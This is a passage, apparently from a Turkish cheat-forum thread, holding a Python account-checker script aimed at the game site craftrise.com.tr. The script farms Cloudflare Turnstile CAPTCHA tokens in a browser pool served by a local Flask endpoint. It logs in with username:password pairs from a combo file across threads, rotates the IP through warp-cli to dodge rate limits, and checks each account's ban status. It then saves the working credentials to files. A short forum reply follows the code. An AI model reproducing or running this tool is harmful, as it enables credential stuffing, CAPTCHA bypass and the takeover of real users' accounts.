        div.id = 'captcha-container-' + i;
        div.style.marginBottom = '10px';
        document.body.appendChild(div);
        window._widget_states = {{"ready": false}};
    }}
    const script = document.createElement('script');
    script.src = 'https://challenges.cloudflare.com/turnstile/v0/api.js?render=explicit';
    script.async = true;
    script.defer = true;
    document.head.appendChild(script);
    script.onload = () => {{
        for (let i = 0; i < {WIDGET_COUNT}; i++) {{
            const id = turnstile.render('#captcha-container-' + i, {{
                sitekey: '0x4AAAAAAA4cK60wpgOTyti9',
                callback: function(token) {{
                    window._cf_tokens = token;
                    window._token_pool.push({{widget_idx: i, token: token}});
                    window._widget_states.ready = true;
                }}
            }});
            window._cf_widgets.push(id);
        }}
        setInterval(() => {{
            for (let i = 0; i < {WIDGET_COUNT}; i++) {{
                let inPool = window._token_pool.some(item => item.widget_idx === i);
                if (!inPool && window._widget_states.ready) {{
                    window._widget_states.ready = false;
                    turnstile.reset(window._cf_widgets);
                }}
            }}
        }}, 200);
    }};
    """
    page.run_js(js)
    print(f"{WIDGET_COUNT} adet Turnstile widget'ı yükleniyor...")

    for _ in range(25):
        try:
            pool_size = page.run_js('return window._token_pool ? window._token_pool.length : 0;')
            if pool_size and pool_size >= (WIDGET_COUNT // 2) + 1:
                print(f"Başlangıçta {pool_size} token hazır!")
                return True
        except:
            pass
        time.sleep(1)
    return False

@app.route('/get-token', methods=['GET'])
def get_new_token():
    try:
        pop_js = """
        if (window._token_pool && window._token_pool.length > 0) {
            let data = window._token_pool.shift();
            return data.token;
        }
        return null;
        """
        for _ in range(100):
            if page:
                token = page.run_js(pop_js)
                if token:
                    return jsonify({"token": token})
            time.sleep(0.1)
        return jsonify({"error": "Token bulunamadı"}), 500
    except Exception as e:
        return jsonify({"error": str(e)}), 500

@app.route('/')
def index():
    return f'{WIDGET_COUNT}li Senkronize Paket Aktif.'

def warp_degistir(baglan=True):
    try:
        if baglan:
            subprocess.run(["warp-cli", "disconnect"], capture_output=True, text=True)
            time.sleep(2)
            subprocess.run(["warp-cli", "connect"], capture_output=True, text=True)
            time.sleep(3)
        else:
            subprocess.run(["warp-cli", "disconnect"], capture_output=True, text=True)
            time.sleep(2)
    except Exception as e:
        log_ekle(Fore.RED + f"[WARP HATASI] {e}")

def ban_kontrol_et(session, username, idx):
    """Sadece ban kontrolü yapan fonksiyon"""
    try:
        url = "https://www.craftrise.com.tr/posts/post-profile.php"
        headers = {
            "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
            "X-Requested-With": "XMLHttpRequest",
            "Referer": "https://www.craftrise.com.tr/profil",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
        }
        data = {"postType": "CHANGE_MAIL", "currentPass": "", "newMail": "[email protected]"}
        response = session.post(url, headers=headers, data=data, timeout=12)
        text = response.text.lower()
  
        if "engelliyken" in text or "yasakland" in text or "banland" in text or "yasaklı" in text:
            return "BANLI"
        else:
            return "BANSIZ"
    except:
        return "KONTROL_EDİLEMEDİ"

def cek_cookie_ve_bilgi(username, password, idx):
    global taranan_hesap_sayisi, sayac_bansiz, sayac_banli, sayac_basarisiz, sayac_hata
    s = requests.Session()
    try:
        token = get_token(s)
        s.get("https://www.craftrise.com.tr", timeout=10)
  
        login_response = s.post("https://www.craftrise.com.tr/posts/post-login.php",
                                headers={
                                    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
                                    "X-Requested-With": "XMLHttpRequest",
                                    "Referer": "https://www.craftrise.com.tr/",
                                    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
                                    "Origin": "https://www.craftrise.com.tr"
                                },
                                data={"value": username, "password": password, "grecaptcharesponse": token},
                                timeout=15)
  
        try:
            res_json = login_response.json()
            if res_json.get("resultType") == "error" or "success" not in str(res_json.get("resultType", "")).lower():
                hata_mesaji = res_json.get("resultMessage", "Bilinmeyen hata")
                with istatistik_lock:
                    sayac_basarisiz += 1
                    taranan_hesap_sayisi += 1
                log_ekle(Fore.YELLOW + f"[{idx}] {username} → Giriş Başarısız: {hata_mesaji}")
                ekran_yenile()
                return
        except:
            if "success" not in login_response.text.lower():
                with istatistik_lock:
                    sayac_basarisiz += 1
                    taranan_hesap_sayisi += 1
                log_ekle(Fore.YELLOW + f"[{idx}] {username} → Giriş Başarısız")
                ekran_yenile()
                return

        # Ban kontrolü
        ban_durumu = ban_kontrol_et(s, username, idx)
  
        with istatistik_lock:
            taranan_hesap_sayisi += 1
            if ban_durumu == "BANLI":
                sayac_banli += 1
                hedef_log = Fore.RED + f"[{idx}] {username} → BANLI HESAP!"
            else:
                sayac_bansiz += 1
                hedef_log = Fore.GREEN + f"[{idx}] {username} → BANSIZ"
  
        log_ekle(hedef_log)
  
        hedef_dosya = DOSYA_BANLI if ban_durumu == "BANLI" else DOSYA_BANSIZ
        satir = f"{username}:{password} | {ban_durumu}\n"
        guvenli_yaz(hedef_dosya, satir)
        ekran_yenile()
  
    except Exception as e:
        with istatistik_lock:
            sayac_hata += 1
            taranan_hesap_sayisi += 1
        log_ekle(Fore.MAGENTA + f"[{idx}] {username} → Hata: {str(e)}")
        guvenli_yaz(DOSYA_HATALI, f"{username}:{password} | Hata: {str(e)}\n")
        ekran_yenile()

def get_token(session):
    with token_lock:
        try:
            r = session.get("http://127.0.0.1:5001/get-token", timeout=10)
            token = r.json().get("token")
            if not token:
                raise ValueError("Token boş")
            return token
        except Exception as e:
            raise RuntimeError(f"Token hatası: {e}")

def main():
    global DOSYA_BANSIZ, DOSYA_BANLI, DOSYA_HATALI, toplam_hesap_sayisi
    girdileri_al()
 
    if not os.path.exists(dosya_yolu):
        print(f"Hata: '{dosya_yolu}' dosyası bulunamadı!")
        input("\nEnter'a bas...")
        return

    def run_flask():
        import logging
        l0g = logging.getLogger('werkzeug')
        l0g.setLevel(logging.ERROR)
        app.run(host='0.0.0.0', port=5001, threaded=True, debug=False, use_reloader=False)

    flask_thread = threading.Thread(target=run_flask, daemon=True)
    flask_thread.start()
    time.sleep(2)

    if not initialize_page():
        print("Tarayıcı başlatılamadı.")
        input("\nEnter'a bas...")
        return

    with open(dosya_yolu, "r", encoding="utf-8") as f:
        accounts = [line.strip() for line in f if ":" in line and line.strip()]

    if not accounts:
        print("Geçerli hesap bulunamadı!")
        input("\nEnter'a bas...")
        return

    toplam_hesap_sayisi = len(accounts)
    DOSYA_BANSIZ = guvenli_dosya_olustur(DOSYA_BANSIZ)
    DOSYA_BANLI = guvenli_dosya_olustur(DOSYA_BANLI)
    DOSYA_HATALI = guvenli_dosya_olustur(DOSYA_HATALI)

    batch_size = THREAD_COUNT
    hesap_sayaci = 0
    ekran_yenile()

    for i in range(0, len(accounts), batch_size):
        if hesap_sayaci == 0 or hesap_sayaci >= WARP_COUNT:
            warp_degistir(baglan=True)
            hesap_sayaci = 0

        batch = accounts[i:i+batch_size]
        threads = []
        log_ekle(Fore.CYAN + f">>> Yeni {len(batch)} hesaplık grup başlatılıyor...")

        for idx_offset, line in enumerate(batch):
            idx = i + idx_offset + 1
            username, password = line.split(":", 1)
      
            t = threading.Thread(target=cek_cookie_ve_bilgi, args=(username, password, idx))
            threads.append(t)
            t.start()
            time.sleep(0.4)

        for t in threads:
            t.join()

        hesap_sayaci += len(batch)
        if hesap_sayaci >= WARP_COUNT:
            warp_degistir(baglan=False)
            time.sleep(4)

    log_ekle(Fore.GREEN + "Tüm hesaplar tarandı!")
    ekran_yenile()
    input("\nÇıkmak için Enter'a bas...")

if __name__ == "__main__":
    try:
        main()
    except Exception as ana_hata:
        print(f"\n[KRİTİK HATA]: {ana_hata}")
        import traceback
        traceback.print_exc()
        input("\nEnter'a bas...")
    finally:
        if 'page' in globals() and page is not None:
            try:
                page.quit()
            except:
                pass
https://cheatglobal.com/konu/craftrise-open-source-banchecker-varmi.129053/page-2#post-2423663 adlı konuyu incelersen daha iyi olur
saolasın gardasım
 

Şuanda konuyu görüntüleyen kullanıcılar

Geri
Üst Alt